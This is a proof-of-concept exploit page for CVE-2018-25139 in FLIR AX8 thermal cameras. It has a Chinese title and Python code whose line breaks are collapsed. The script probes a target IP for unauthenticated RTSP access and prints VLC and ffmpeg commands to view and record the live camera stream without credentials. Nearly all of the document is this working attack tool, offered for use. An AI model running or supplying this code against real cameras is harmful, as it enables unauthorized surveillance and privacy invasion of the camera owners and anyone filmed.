CVE-2018-25139 FLIR AX8热像仪未授权RTSP视频流访问漏洞

# CVE-2018-25139 PoC - FLIR AX8 Unauthenticated RTSP Stream Access # Affected: FLIR AX8 Thermal Camera Firmware <= 1.32.16 import socket import sys def check_rtsp_unauthenticated(target_ip, port=554): """ Check if FLIR AX8 RTSP service allows unauthenticated access """ # RTSP OPTIONS request without authentication rtsp_request = f"OPTIONS rtsp://{target_ip}:{port}/live RTSP/1.0\r\n" rtsp_request += "CSeq: 1\r\n" rtsp_request += "User-Agent: PoC-CVE-2018-25139\r\n" rtsp_request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(rtsp_request.encode()) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() if "RTSP/1.0 200 OK" in response: print(f"[+] VULNERABLE: {target_ip} allows unauthenticated RTSP access") return True else: print(f"[-] NOT VULNERABLE or service unavailable") return False except Exception as e: print(f"[-] Error: {e}") return False def get_rtsp_stream_ffmpeg(target_ip, port=554): """ Use FFmpeg to access unauthenticated RTSP stream Command: ffmpeg -i rtsp://TARGET_IP:554/live -c copy output.mp4 """ stream_url = f"rtsp://{target_ip}:{port}/live" print(f"[+] Stream URL: {stream_url}") print(f"[+] Use VLC: vlc \"{stream_url}\"") print(f"[+] Use FFmpeg: ffmpeg -i \"{stream_url}\" -c copy output.mp4") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2018-25139.py <target_ip>") sys.exit(1) target = sys.argv[1] check_rtsp_unauthenticated(target) get_rtsp_stream_ffmpeg(target)